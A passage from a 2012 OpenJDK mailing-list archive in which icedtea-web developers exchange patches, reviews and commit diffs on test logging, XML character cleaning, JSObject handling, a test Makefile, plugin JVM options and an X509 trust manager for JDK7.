} diff -r eedc15145aa6 -r aff6fb36a9ab tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java --- a/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java Mon Dec 03 14:43:18 2012 +0100 +++ b/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java Mon Dec 03 18:08:38 2012 +0100 @@ -783,8 +783,27 @@ //probablky it is necessary to get out of net.sourceforge.jnlp. //package where are right now all test-extensions //for now keeping exactly the three clases helping yo acces the log - if (!stack[i].getClassName().startsWith("net.sourceforge.jnlp.")) { - break; + try { + Class clazz = Class.forName(stack[i].getClassName()); + String path = null; + try { + path = clazz.getProtectionDomain().getCodeSource().getLocation().getPath(); + } catch (NullPointerException ex) { + //silently ignoring and continuing with null path + } + if (path != null && path.contains("/tests.build/")) { + if (!path.contains("/test-extensions/")) { + break; + } + } else { + //running from ide + if (!stack[i].getClassName().startsWith("net.sourceforge.jnlp.")) { + break; + } + } + } catch (ClassNotFoundException ex) { + ///should not happen, searching only for already loaded class + ex.printStackTrace(); } } //if nothing left in stack then we have been in ServerAccess already @@ -793,7 +812,7 @@ if (i >= stack.length) { return result; } - //now we are out of net.sourceforge.jnlp.* + //now we are out of test-extensions //method we need (the test) is highest from following class baseClass = stack[i].getClassName(); for (; i < stack.length; i++) { From jvanek at redhat.com Mon Dec 3 07:54:33 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Mon, 03 Dec 2012 16:54:33 +0100 Subject: [rfc] [icedtea-web] cleaning XML logging from wrong character In-Reply-To: <1420250267.3370074.1354547160400.JavaMail.root@redhat.com> References: <1420250267.3370074.1354547160400.JavaMail.root@redhat.com> Message-ID: <50BCCB39.7090000@redhat.com> On 12/03/2012 04:06 PM, Pavel Tisnovsky wrote: > Hi Jiri, > > I have some comments re: your patch, please look to the notes below: ok then! > > + > + public static String clearChars(String ss) { > + StringBuilder s = new StringBuilder(ss); > + for (int i = 0; i < s.length(); i++) { > + char q = s.charAt(i); > + if (q == '\n') { > + continue; > + } > + int iq = (int) q; > + if (iq == 9) { > > *** 9 is a good old friendly :-) TAB character, so it should be simply tested as q == '\t' in the previous "if" clause Sure, fixed! > > + continue; > + } > + if (iq <= 31 || iq > 65533) { > > *** Well 31 value is understandable (you are afraid of '\0' especially, aren't you?), > *** but I'm unsure about value 65533. Given that "char q" is an unsigned value in a range from 0 to 65535 and > *** you are converting it to "int", do you still need to filter out the last two chars positions only? > *** It is true that FFFE or FFFF positions can not be in Unicode, but the same applies to positions > *** FDD0 to FDEF. Thanx for catch!, fixed. > > + s.setCharAt(i, 'I'); > + s.insert(i + 1, "NVALID_CHAR_" + iq); > + i -= 1; > > *** i-- :-) as you wish O:) > > + } > + } > + return s.toString(); > + } > > *** Still I think it's not a good idea to use String.charAt() to read characters from a string because > you will miss all surrogate pairs. char is 16 bit wide only and you AFAIK needs at least 21 bits to represent > all Unicode characters. So this code will fail in case of some asian character sets, for example (and Tengwar too :) :( Not much I can do here. I would ratehr to have it simple like this... Are you ok? > > + try { > + Class clazz = Class.forName(stack[i].getClassName()); > + String path = null; > + try { > + path = clazz.getProtectionDomain().getCodeSource().getLocation().getPath(); > + } catch (NullPointerException ex) { > + //silently ignoring and continuing with null path > > *** you can't be sure where the NPE occurs, is not it better to print stack trace at least? nn, I'm pretty sure that it occurs on native methods which do not hurt. > > + } > + if (path != null && path.contains("/tests.build/")) { > + if (!path.contains("/test-extensions/")) { > + break; > + } > + } else { > + //running from ide > + if (!stack[i].getClassName().startsWith("net.sourceforge.jnlp.")) { > + break; > + } > + } > + } catch (ClassNotFoundException ex) { > + ///should not happen, laoding only loaded > > *** sorry, can't understand this comment (laoding->loading, but what do you mean pls?) Re-word-ed ... with hope to suit you better;) > > + ex.printStackTrace(); > > Cheers, > Pavel > > > > ----- Original Message ----- >> Epiphany is littel bit confuse dby JS<->applet tests and is returning >> negative, zero or to high >> retyped chars. >> Those chars break xml processing, so I would like to get them out >> from xml by this patch (kept in >> plain text). >> >> Also I have realised I have broken unittest logging some tie ago. >> Fixed also:( >> >> J. >> -------------- next part -------------- A non-text attachment was scrubbed... Name: fixingLoging3.patch Type: text/x-patch Size: 4311 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121203/38bbd901/fixingLoging3.patch From adomurad at redhat.com Mon Dec 3 11:03:27 2012 From: adomurad at redhat.com (Adam Domurad) Date: Mon, 03 Dec 2012 14:03:27 -0500 Subject: [rfc][icedtea-web] Fix for PR1198, JSObject passed incorrectly to Javascript In-Reply-To: <50B92039.4070304@redhat.com> References: <50B92039.4070304@redhat.com> Message-ID: <50BCF77F.2020808@redhat.com> On 11/30/2012 04:08 PM, Adam Domurad wrote: > Hi all. Attached is a fix for PR1198. > > I still plan to write unit tests for at least the new method > PluginAppletViewer.toObjectIDString, but I wanted to get this out > before leaving for the weekend. > > One tricky thing with this patch was that it had to consolidate _a > lot_ of duplicated functionality (actually I found some subtle > differences in handling, this should be more consistent). Once that > was done the actual patch was fairly straight forward. > > The basic issue was that JSObject was being passed as if it were a > normal Java object, when the liveconnect spec specifies that it should > be returned as the underlying javascript object. > > A method was added to JSObject to get the underlying reference. This > was kept package-private to not pollute its public interface. As well, > a new permission was added for accessing this method. To access this > outside of the package, a utility was created in JSUtil. > > This patch adds a special case to Java->JS communication when sending > objects, to indicate that a Javascript object is being passed. > > With patch applied, JSObjectFromEval should pass in all browsers. > > 2012-11-30 Adam Domurad > > Fix PR1198: JSObject passed incorrectly to Javascript > * plugin/icedteanp/IcedTeaJavaRequestProcessor.cc: Pass extra data > for > 'jsobject' object result messages. > * plugin/icedteanp/IcedTeaPluginRequestProcessor.cc: Same. > * plugin/icedteanp/IcedTeaPluginUtils.cc: Add special casing of > javascript references passed from java. > * > plugin/icedteanp/java/netscape/javascript/JSObjectUnboxPermission.java: > New permission for unboxing a JSObject's internal reference. > * plugin/icedteanp/java/netscape/javascript/JSObject.java > (getInternalReference): New, package-private, retrieves internal > reference (Must have proper permission). > * plugin/icedteanp/java/netscape/javascript/JSUtil.java > (getJSObjectInternalReference) New, utility for accessing > JSObject#getInternalReference from outside the package. > * plugin/icedteanp/java/sun/applet/PluginAppletSecurityContext.java: > (toObjectIDString): New, creates a string that precisely identifies a > Java object. > (handleMessage): Replace a lot of duplicated functionality with > 'toObjectIDString'. > * plugin/icedteanp/java/sun/applet/PluginAppletViewer.java: Replace > duplicated functionality with 'toObjectIDString'. > * > tests/reproducers/simple/JSObjectFromEval/srcs/JSObjectFromEval.java: > Don't print out type passed (differs from browser to browser). > * > tests/reproducers/simple/JSObjectFromEval/testcases/JSObjectFromEvalTest.java: > Don't check type passed (differs from browser to browser). Remove > known-to-fail. Reformat. As promised attached is the unit-test for the newly introduced Java->JS function (which encapsulates logic that was duplicated in many areas) Note that this patch contains a Makefile patch for unit testing sun.applet package, however this will be committed with another now-approved patch so I have left it out of the ChangeLog. ChangeLog: 2012-12-XX Adam Domurad Unit test for PluginAppletSecurityContext#toObjectIDString. Make PluginAppletSecurityContext more unit-testable. * plugin/icedteanp/java/sun/applet/PluginAppletSecurityContext.java: Don't initialize security manager in constructor. Fix a few Java->JS corner cases. * plugin/icedteanp/java/sun/applet/PluginMain.java: Initialize SecurityManager before creating PluginAppletSecurityContext. * tests/netx/unit/sun/applet/PluginAppletSecurityContextTest.java: Unit test for all the corner cases of converting a Java object to a string that can be precisely identified. Happy hacking, -Adam -------------- next part -------------- A non-text attachment was scrubbed... Name: jsfix-unittest.patch Type: text/x-patch Size: 12555 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121203/281010ad/jsfix-unittest.patch From smohammad at redhat.com Mon Dec 3 13:39:35 2012 From: smohammad at redhat.com (Saad Mohammad) Date: Mon, 03 Dec 2012 16:39:35 -0500 Subject: /hg/icedtea-web: Added browser softkiller and related Makefile. In-Reply-To: References: Message-ID: <50BD1C17.3070704@redhat.com> Hi Pavel, Just one minor issue with this patch, it's breaking 'make clean'. The fix is very simple, so feel free to directly push. Comment below. [..snip..] > diff -r 172a5691e70d -r eedc15145aa6 Makefile.am > --- a/Makefile.am Fri Nov 30 13:08:45 2012 -0500 > +++ b/Makefile.am Mon Dec 03 14:43:18 2012 +0100 > @@ -39,6 +39,7 @@ > export TEST_CERT_ALIAS=icedteaweb > export PUBLIC_KEYSTORE=${HOME}/.icedtea/security/trusted.certs > export PUBLIC_KEYSTORE_PASS=changeit > +export SOFTKILLER=softkiller > > export JUNIT_RUNNER_JAR=$(abs_top_builddir)/junit-runner.jar > export UNIT_CLASS_NAMES = $(abs_top_builddir)/unit_class_names > @@ -808,9 +809,14 @@ > done ; \ > echo $$class_names > $(REPRODUCERS_CLASS_NAMES) > > +$(TESTS_DIR)/$(SOFTKILLER): > + cd $(TESTS_SRCDIR)/$(SOFTKILLER); \ > + $(MAKE) ; \ > + mv $(SOFTKILLER) $(TESTS_DIR)/ > + > stamps/run-netx-dist-tests.stamp: stamps/netx-dist.stamp extra-lib/about.jar stamps/plugin.stamp launcher.build/$(javaws) \ > javaws.desktop stamps/docs.stamp launcher.build/$(itweb_settings) itweb-settings.desktop \ > - stamps/netx.stamp stamps/junit-jnlp-dist-dirs stamps/netx-dist-tests-import-cert-to-public \ > + stamps/netx.stamp stamps/junit-jnlp-dist-dirs stamps/netx-dist-tests-import-cert-to-public $(TESTS_DIR)/softkiller \ > stamps/test-extensions-compile.stamp stamps/compile-reproducers-testcases.stamp $(JUNIT_RUNNER_JAR) stamps/copy-reproducers-resources.stamp\ > $(TESTS_DIR)/$(REPORT_STYLES_DIRNAME) $(REPRODUCERS_CLASS_NAMES) stamps/process-custom-reproducers.stamp > cd $(TEST_EXTENSIONS_DIR) ; \ > @@ -1191,7 +1197,10 @@ > rm -rf $(TESTS_DIR)/$(REPORT_STYLES_DIRNAME)/ > rm -f $(TESTS_DIR)/*.html > > -clean-netx-dist-tests: clean_tests_reports netx-dist-tests-remove-cert-from-public clean-custom-reproducers > +clean-$(SOFTKILLER): > + rm $(TESTS_DIR)/softkiller Please add the '-f' option so we can avoid any errors if the file does not exist. [..snip..] Thanks! And great patch by the way! -- Cheers, Saad Mohammad From smohammad at redhat.com Mon Dec 3 13:58:03 2012 From: smohammad at redhat.com (Saad Mohammad) Date: Mon, 03 Dec 2012 16:58:03 -0500 Subject: [RFC][icedtea-web]: Set plugin JVM options in itw-settings In-Reply-To: <50AD442B.1050903@redhat.com> References: <508ED961.4070705@redhat.com> <509130B7.8090508@redhat.com> <50AD1CC6.2060103@redhat.com> <50AD442B.1050903@redhat.com> Message-ID: <50BD206B.8020209@redhat.com> Hi Adam, Thanks for the feedback! I decided to go with your recommendation to remove manual memory allocation/deallocation and took advantage of std::string! Updated patch is attached. CHANGELOG ======================================================================== 2012-12-03 Saad Mohammad Added new option in itw-settings which allows users to set JVM arguments when plugin is initialized. * netx/net/sourceforge/jnlp/config/Defaults.java (getDefaults): Added defaults for DeploymentConfiguration.KEY_PLUGIN_JVM_ARGUMENTS. * netx/net/sourceforge/jnlp/config/DeploymentConfiguration.java: Added new property (KEY_PLUGIN_JVM_ARGUMENTS) which stores the value of JVM plugin arguments. * netx/net/sourceforge/jnlp/controlpanel/ControlPanel.java: (createMainSettingsPanel): Added JVM settings to the list of tabs. (createJVMSettingsPanel): Returns a new JVMPanel object. * netx/net/sourceforge/jnlp/controlpanel/JVMPanel.java: JVM settings panel. * netx/net/sourceforge/jnlp/resources/Messages.properties: Added a new items (CPJVMPluginArguments, CPHeadJVMSettings, CPTabJVMSettings). * plugin/icedteanp/IcedTeaNPPlugin.cc: (plugin_start_appletviewer): Adds JVM arguments to the commands line list. (get_jvm_args): Returns JVM arguments set in itw-settings. * plugin/icedteanp/IcedTeaPluginUtils.cc: (IcedTeaPluginUtilities::vectorstring_to_vectorgchar): New helper method which returns a vector of gchar* from the vector of strings passed. * plugin/icedteanp/IcedTeaPluginUtils.h: Declaration of IcedTeaPluginUtilities::vectorstring_to_vectorgchar. ======================================================================== -- Cheers, Saad Mohammad -------------- next part -------------- A non-text attachment was scrubbed... Name: changelog0-3.patch Type: text/x-patch Size: 1514 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121203/9207cb35/changelog0-3.patch -------------- next part -------------- A non-text attachment was scrubbed... Name: implementation0-3.patch Type: text/x-patch Size: 15527 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121203/9207cb35/implementation0-3.patch From dbhole at icedtea.classpath.org Mon Dec 3 17:55:43 2012 From: dbhole at icedtea.classpath.org (dbhole at icedtea.classpath.org) Date: Tue, 04 Dec 2012 01:55:43 +0000 Subject: /hg/release/icedtea-web-1.2: PR1161: X509VariableTrustManager do... Message-ID: changeset c74251bbaffd in /hg/release/icedtea-web-1.2 details: http://icedtea.classpath.org/hg/release/icedtea-web-1.2?cmd=changeset;node=c74251bbaffd author: Deepak Bhole date: Mon Dec 03 16:26:42 2012 -0500 PR1161: X509VariableTrustManager does not work correctly with OpenJDK7 diffstat: ChangeLog | 30 ++ Makefile.am | 3 + NEWS | 2 + acinclude.m4 | 9 +- netx/net/sourceforge/jnlp/runtime/JNLPRuntime.java | 94 +++++- netx/net/sourceforge/jnlp/security/HttpsCertVerifier.java | 5 +- netx/net/sourceforge/jnlp/security/VariableX509TrustManager.java | 138 ++++++--- netx/net/sourceforge/jnlp/security/VariableX509TrustManagerJDK6.java | 75 +++++ netx/net/sourceforge/jnlp/security/VariableX509TrustManagerJDK7.java | 136 +++++++++ 9 files changed, 417 insertions(+), 75 deletions(-) diffs (truncated from 706 to 500 lines): diff -r 382db02cb655 -r c74251bbaffd ChangeLog --- a/ChangeLog Thu Nov 01 12:27:21 2012 -0400 +++ b/ChangeLog Mon Dec 03 16:26:42 2012 -0500 @@ -1,3 +1,33 @@ +2012-09-17 Deepak Bhole + + PR1161: X509VariableTrustManager does not work correctly with OpenJDK7 + * Makefile.am: If building with JDK 6, don't build + VariableX509TrustManagerJDK7. + * NEWS: Updated. + * acinclude.m4: In addition to setting VERSION_DEFS, also set HAVE_JAVA7 + if building with JDK7. + * netx/net/sourceforge/jnlp/runtime/JNLPRuntime.java (initialize): Use new + getSSLSocketTrustManager() method to get the trust manager. + (getSSLSocketTrustManager): New method. Depending on runtime JRE version, + returns the appropriate trust manager. + * netx/net/sourceforge/jnlp/security/HttpsCertVerifier.java: Removed + unused tm variable. + * netx/net/sourceforge/jnlp/security/VariableX509TrustManager.java: No + longer extends com.sun.net.ssl.internal.ssl.X509ExtendedTrustManager. + (checkClientTrusted): Renamed to checkTrustClient and removed overloaded + implementations. + (checkServerTrusted): Renamed to checkTrustServer. Also, modified to + accept socket and engine (may be null). Assume that CN is mismatched by + default, rather than matched. If explicitly trusted, bypass other checks, + including CN mismatch. + (checkAllManagers): Modified to accept socket and engine. Modified to work + for both JDK6 and JDK7. + (getAcceptedIssuers): Make protected (called by others in package). + * netx/net/sourceforge/jnlp/security/VariableX509TrustManagerJDK6.java: + New class -- X509TrustManager for JDK6. + * netx/net/sourceforge/jnlp/security/VariableX509TrustManagerJDK7.java: + New class -- X509TrustManager for JDK7. + 2012-11-01 Deepak Bhole * configure.ac: Prepare for 1.2.3 diff -r 382db02cb655 -r c74251bbaffd Makefile.am --- a/Makefile.am Thu Nov 01 12:27:21 2012 -0400 +++ b/Makefile.am Mon Dec 03 16:26:42 2012 -0500 @@ -299,6 +299,9 @@ if !WITH_RHINO sed -i '/RhinoBasedPacEvaluator/ d' $@ endif +if !HAVE_JAVA7 + sed -i '/VariableX509TrustManagerJDK7/ d' $@ +endif stamps/netx.stamp: netx-source-files.txt stamps/bootstrap-directory.stamp mkdir -p $(NETX_DIR) diff -r 382db02cb655 -r c74251bbaffd NEWS --- a/NEWS Thu Nov 01 12:27:21 2012 -0400 +++ b/NEWS Mon Dec 03 16:26:42 2012 -0500 @@ -9,6 +9,8 @@ CVE-XXXX-YYYY: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=XXXX-YYYY New in release 1.2.3 (2012-XX-XX): +* Common + - PR1161: X509VariableTrustManager does not work correctly with OpenJDK7 New in release 1.2.2 (2012-11-07): * Security Updates diff -r 382db02cb655 -r c74251bbaffd acinclude.m4 --- a/acinclude.m4 Thu Nov 01 12:27:21 2012 -0400 +++ b/acinclude.m4 Mon Dec 03 16:26:42 2012 -0500 @@ -677,9 +677,12 @@ AC_MSG_RESULT(${JAVA}) AC_SUBST(JAVA) JAVA_VERSION=`$JAVA -version 2>&1 | sed -n '1s/@<:@^"@:>@*"\(.*\)"$/\1/p'` - case "${JAVA_VERSION}" in - 1.7*) VERSION_DEFS='-DHAVE_JAVA7';; - esac + HAVE_JAVA7=`echo $JAVA_VERSION | awk '{if ($(0) >= 1.7) print "yes"}'` + if ! test -z "$HAVE_JAVA7" ; then + VERSION_DEFS='-DHAVE_JAVA7' + fi + + AM_CONDITIONAL([HAVE_JAVA7], test x"${HAVE_JAVA7}" = "xyes" ) AC_SUBST(VERSION_DEFS) ]) diff -r 382db02cb655 -r c74251bbaffd netx/net/sourceforge/jnlp/runtime/JNLPRuntime.java --- a/netx/net/sourceforge/jnlp/runtime/JNLPRuntime.java Thu Nov 01 12:27:21 2012 -0400 +++ b/netx/net/sourceforge/jnlp/runtime/JNLPRuntime.java Mon Dec 03 16:26:42 2012 -0500 @@ -16,38 +16,60 @@ package net.sourceforge.jnlp.runtime; -import java.io.*; +import java.awt.EventQueue; +import java.awt.Image; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.PrintStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.Method; +import java.lang.reflect.InvocationTargetException; import java.net.Authenticator; import java.net.ProxySelector; import java.nio.channels.FileChannel; import java.nio.channels.FileLock; -import java.awt.*; -import java.text.*; -import java.util.*; +import java.security.AllPermission; +import java.security.KeyStore; +import java.security.Policy; +import java.security.Security; +import java.security.cert.CertificateException; +import java.security.cert.X509Certificate; +import java.text.MessageFormat; import java.util.List; -import java.security.*; -import javax.jnlp.*; +import java.util.ResourceBundle; + +import javax.jnlp.ServiceManager; import javax.naming.ConfigurationException; import javax.net.ssl.HttpsURLConnection; import javax.net.ssl.KeyManagerFactory; import javax.net.ssl.SSLContext; +import javax.net.ssl.SSLEngine; +import javax.net.ssl.SSLSocket; import javax.net.ssl.SSLSocketFactory; import javax.net.ssl.TrustManager; import javax.swing.UIManager; import javax.swing.text.html.parser.ParserDelegator; -import sun.net.www.protocol.jar.URLJarFile; - -import net.sourceforge.jnlp.*; +import net.sourceforge.jnlp.DefaultLaunchHandler; +import net.sourceforge.jnlp.GuiLaunchHandler; +import net.sourceforge.jnlp.LaunchHandler; +import net.sourceforge.jnlp.Launcher; import net.sourceforge.jnlp.browser.BrowserAwareProxySelector; -import net.sourceforge.jnlp.cache.*; +import net.sourceforge.jnlp.cache.CacheUtil; +import net.sourceforge.jnlp.cache.DefaultDownloadIndicator; +import net.sourceforge.jnlp.cache.DownloadIndicator; +import net.sourceforge.jnlp.cache.UpdatePolicy; import net.sourceforge.jnlp.config.DeploymentConfiguration; import net.sourceforge.jnlp.security.JNLPAuthenticator; import net.sourceforge.jnlp.security.KeyStores; import net.sourceforge.jnlp.security.SecurityDialogMessageHandler; import net.sourceforge.jnlp.security.VariableX509TrustManager; -import net.sourceforge.jnlp.services.*; -import net.sourceforge.jnlp.util.*; +import net.sourceforge.jnlp.services.XServiceManagerStub; +import net.sourceforge.jnlp.util.FileUtils; +import net.sourceforge.jnlp.util.TeeOutputStream; +import sun.net.www.protocol.jar.URLJarFile; /** * Configure and access the runtime environment. This class @@ -229,7 +251,7 @@ KeyStore ks = KeyStores.getKeyStore(KeyStores.Level.USER, KeyStores.Type.CLIENT_CERTS); KeyManagerFactory kmf = KeyManagerFactory.getInstance("SunX509"); kmf.init(ks, KeyStores.getPassword()); - TrustManager[] trust = new TrustManager[] { VariableX509TrustManager.getInstance() }; + TrustManager[] trust = new TrustManager[] { getSSLSocketTrustManager() }; context.init(kmf.getKeyManagers(), trust, null); sslSocketFactory = context.getSocketFactory(); @@ -254,6 +276,52 @@ } /** + * Returns a TrustManager ideal for the running VM. + * + * @return TrustManager the trust manager to use for verifying https certificates + */ + private static TrustManager getSSLSocketTrustManager() throws + ClassNotFoundException, IllegalAccessException, InstantiationException, InvocationTargetException { + + try { + + Class trustManagerClass; + Constructor tmCtor = null; + + if (System.getProperty("java.version").startsWith("1.6")) { // Java 6 + try { + trustManagerClass = Class.forName("net.sourceforge.jnlp.security.VariableX509TrustManagerJDK6"); + } catch (ClassNotFoundException cnfe) { + System.err.println("Unable to find class net.sourceforge.jnlp.security.VariableX509TrustManagerJDK6"); + return null; + } + } else { // Java 7 or more (technically could be <= 1.5 but <= 1.5 is unsupported) + try { + trustManagerClass = Class.forName("net.sourceforge.jnlp.security.VariableX509TrustManagerJDK7"); + } catch (ClassNotFoundException cnfe) { + System.err.println("Unable to find class net.sourceforge.jnlp.security.VariableX509TrustManagerJDK7"); + return null; + } + } + + Constructor[] tmCtors = trustManagerClass.getDeclaredConstructors(); + tmCtor = tmCtors[0]; + + for (Constructor ctor : tmCtors) { + if (tmCtor.getGenericParameterTypes().length == 0) { + tmCtor = ctor; + break; + } + } + + return (TrustManager) tmCtor.newInstance(); + } catch (RuntimeException e) { + System.err.println("Unable to load JDK-specific TrustManager. Was this version of IcedTea-Web compiled with JDK6?"); + throw e; + } + } + + /** * This must NOT be called form the application ThreadGroup. An application * can inject events into its {@link EventQueue} and bypass the security * dialogs. diff -r 382db02cb655 -r c74251bbaffd netx/net/sourceforge/jnlp/security/HttpsCertVerifier.java --- a/netx/net/sourceforge/jnlp/security/HttpsCertVerifier.java Thu Nov 01 12:27:21 2012 -0400 +++ b/netx/net/sourceforge/jnlp/security/HttpsCertVerifier.java Mon Dec 03 16:26:42 2012 -0500 @@ -59,7 +59,6 @@ public class HttpsCertVerifier implements CertVerifier { - private VariableX509TrustManager tm; private X509Certificate[] chain; private String authType; private String hostName; @@ -67,11 +66,9 @@ private boolean hostMatched; private ArrayList details = new ArrayList(); - public HttpsCertVerifier(VariableX509TrustManager tm, - X509Certificate[] chain, String authType, + public HttpsCertVerifier(X509Certificate[] chain, String authType, boolean isTrusted, boolean hostMatched, String hostName) { - this.tm = tm; this.chain = chain; this.authType = authType; this.hostName = hostName; diff -r 382db02cb655 -r c74251bbaffd netx/net/sourceforge/jnlp/security/VariableX509TrustManager.java --- a/netx/net/sourceforge/jnlp/security/VariableX509TrustManager.java Thu Nov 01 12:27:21 2012 -0400 +++ b/netx/net/sourceforge/jnlp/security/VariableX509TrustManager.java Mon Dec 03 16:26:42 2012 -0500 @@ -37,6 +37,9 @@ package net.sourceforge.jnlp.security; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.Socket; import java.security.AccessController; import java.security.KeyStore; import java.security.PrivilegedAction; @@ -47,25 +50,24 @@ import java.util.Arrays; import java.util.List; +import javax.net.ssl.SSLEngine; +import javax.net.ssl.SSLSocket; import javax.net.ssl.TrustManager; import javax.net.ssl.TrustManagerFactory; import javax.net.ssl.X509TrustManager; +import net.sourceforge.jnlp.runtime.JNLPRuntime; +import net.sourceforge.jnlp.security.SecurityDialogs.AccessType; import sun.security.util.HostnameChecker; import sun.security.validator.ValidatorException; -import com.sun.net.ssl.internal.ssl.X509ExtendedTrustManager; -import net.sourceforge.jnlp.runtime.JNLPRuntime; - -import net.sourceforge.jnlp.security.SecurityDialogs.AccessType; - /** * This class implements an X509 Trust Manager. The certificates it trusts are * "variable", in the sense that it can dynamically, and temporarily support * different certificates that are not in the keystore. */ -final public class VariableX509TrustManager extends X509ExtendedTrustManager { +final public class VariableX509TrustManager { /** TrustManagers containing trusted CAs */ private X509TrustManager[] caTrustManagers = null; @@ -164,8 +166,8 @@ /** * Check if client is trusted (no support for custom here, only system/user) */ - public void checkClientTrusted(X509Certificate[] chain, String authType, - String hostName, String algorithm) + public void checkTrustClient(X509Certificate[] chain, String authType, + String hostName) throws CertificateException { boolean trusted = false; @@ -186,99 +188,125 @@ throw savedException; } - public void checkClientTrusted(X509Certificate[] chain, String authType) - throws CertificateException { - checkClientTrusted(chain, authType, null, null); - } - - public void checkServerTrusted(X509Certificate[] chain, String authType, - String hostName, String algorithm) - throws CertificateException { - checkServerTrusted(chain, authType, hostName, false); - } - - public void checkServerTrusted(X509Certificate[] chain, String authType) - throws CertificateException { - checkServerTrusted(chain, authType, null, null); - } - /** - * Check if the server is trusted + * Check if the server is trusted. + * + * First, existing stores are checked to see if the certificate is trusted. + * Next, if the certificate is not explicitly trusted by the user, a host + * name check is performed. The user is them prompted as needed. * * @param chain The cert chain * @param authType The auth type algorithm - * @param checkOnly Whether to "check only" i.e. no user prompt, or to prompt for permission + * @param hostName The expected hostName that the server should have + * @param socket The SSLSocket in use (may be null) + * @param ending The SSLEngine in use (may be null) */ - public synchronized void checkServerTrusted(X509Certificate[] chain, + public synchronized void checkTrustServer(X509Certificate[] chain, String authType, String hostName, - boolean checkOnly) throws CertificateException { + SSLSocket socket, SSLEngine engine) throws CertificateException { CertificateException ce = null; boolean trusted = true; - boolean CNMatched = true; + boolean CNMatched = false; + // Check trust stores try { - checkAllManagers(chain, authType); + checkAllManagers(chain, authType, socket, engine); } catch (CertificateException e) { trusted = false; ce = e; } // If the certificate is not explicitly trusted, we - // need to prompt the user + // check host match if (!isExplicitlyTrusted(chain, authType)) { - - if (hostName == null) { - CNMatched = false; - } else { + if (hostName != null) { try { HostnameChecker checker = HostnameChecker .getInstance(HostnameChecker.TYPE_TLS); - checker.match(hostName, chain[0]); // only need to match @ 0 for - // CN + checker.match(hostName, chain[0]); // only need to match @ 0 for CN + CNMatched = true; } catch (CertificateException e) { - CNMatched = false; ce = e; } } + } else { + // If it is explicitly trusted, just return right away. + return; } + // If it is (not explicitly trusted) AND + // ((it is not in store) OR (there is a host mismatch)) if (!trusted || !CNMatched) { - if (checkOnly) { - throw ce; - } else { - if (!isTemporarilyUntrusted(chain[0])) { - boolean b = askUser(chain, authType, trusted, CNMatched, hostName); + if (!isTemporarilyUntrusted(chain[0])) { + boolean b = askUser(chain, authType, trusted, CNMatched, hostName); - if (b) { - temporarilyTrust(chain[0]); - } else { - temporarilyUntrust(chain[0]); - } + if (b) { + temporarilyTrust(chain[0]); + return; + } else { + temporarilyUntrust(chain[0]); } + } - checkAllManagers(chain, authType); - } + throw ce; } } /** - * Check system, user and custom trust manager + * Check system, user and custom trust manager. + * + * This method is intended to work with both, JRE6 and JRE7. If socket + * and engine are null, it assumes that the call is for JRE6 (i.e. not + * javax.net.ssl.X509ExtendedTrustManager which is Java 7 specific). If + * either of those are not null, it will assume that the caTrustManagers + * are javax.net.ssl.X509ExtendedTrustManager instances and will + * invoke their check methods. + * + * @param chain The certificate chain + * @param authType The authentication type + * @param socket the SSLSocket being used for the connection + * @param engine the SSLEngine being used for the connection */ - private void checkAllManagers(X509Certificate[] chain, String authType) throws CertificateException { + private void checkAllManagers(X509Certificate[] chain, String authType, Socket socket, SSLEngine engine) throws CertificateException { + // first try CA TrustManagers boolean trusted = false; ValidatorException savedException = null; for (int i = 0; i < caTrustManagers.length; i++) { try { - caTrustManagers[i].checkServerTrusted(chain, authType); + if (socket == null && engine == null) { + caTrustManagers[i].checkServerTrusted(chain, authType); + } else { + + try { + Class x509ETMClass = Class.forName("javax.net.ssl.X509ExtendedTrustManager"); + if (engine == null) { + Method mcheckServerTrusted = x509ETMClass.getDeclaredMethod("checkServerTrusted", X509Certificate[].class, String.class, Socket.class); + mcheckServerTrusted.invoke(caTrustManagers[i], chain, authType, socket); + } else { + Method mcheckServerTrusted = x509ETMClass.getDeclaredMethod("checkServerTrusted", X509Certificate[].class, String.class, SSLEngine.class); + mcheckServerTrusted.invoke(caTrustManagers[i], chain, authType, engine); + } + } catch (NoSuchMethodException nsme) { + throw new ValidatorException(nsme.getMessage()); + } catch (InvocationTargetException ite) { + throw new ValidatorException(ite.getMessage()); + } catch (IllegalAccessException iae) { + throw new ValidatorException(iae.getMessage()); + } catch (ClassNotFoundException cnfe) { + throw new ValidatorException(cnfe.getMessage()); + } + } + trusted = true; break; } catch (ValidatorException caex) { savedException = caex; } } + if (trusted) { return; } @@ -332,7 +360,7 @@ return explicitlyTrusted; } - public X509Certificate[] getAcceptedIssuers() { + protected X509Certificate[] getAcceptedIssuers() { List issuers = new ArrayList(); for (int i = 0; i < caTrustManagers.length; i++) { @@ -394,7 +422,7 @@ public Boolean run() { return SecurityDialogs.showCertWarningDialog( AccessType.UNVERIFIED, null, - new HttpsCertVerifier(trustManager, chain, authType, + new HttpsCertVerifier(chain, authType, isTrusted, hostMatched, hostName)); } diff -r 382db02cb655 -r c74251bbaffd netx/net/sourceforge/jnlp/security/VariableX509TrustManagerJDK6.java --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/netx/net/sourceforge/jnlp/security/VariableX509TrustManagerJDK6.java Mon Dec 03 16:26:42 2012 -0500 @@ -0,0 +1,75 @@ +/* VariableX509TrustManagerJDK6.java + Copyright (C) 2012 Red Hat, Inc. + +This file is part of IcedTea. + +IcedTea is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License as published by +the Free Software Foundation, version 2. + From ptisnovs at icedtea.classpath.org Tue Dec 4 00:47:04 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Tue, 04 Dec 2012 08:47:04 +0000 Subject: /hg/gfx-test: Added new helper methods into src/org/gfxtest/test... Message-ID: changeset 1f29a0e79a5f in /hg/gfx-test details: 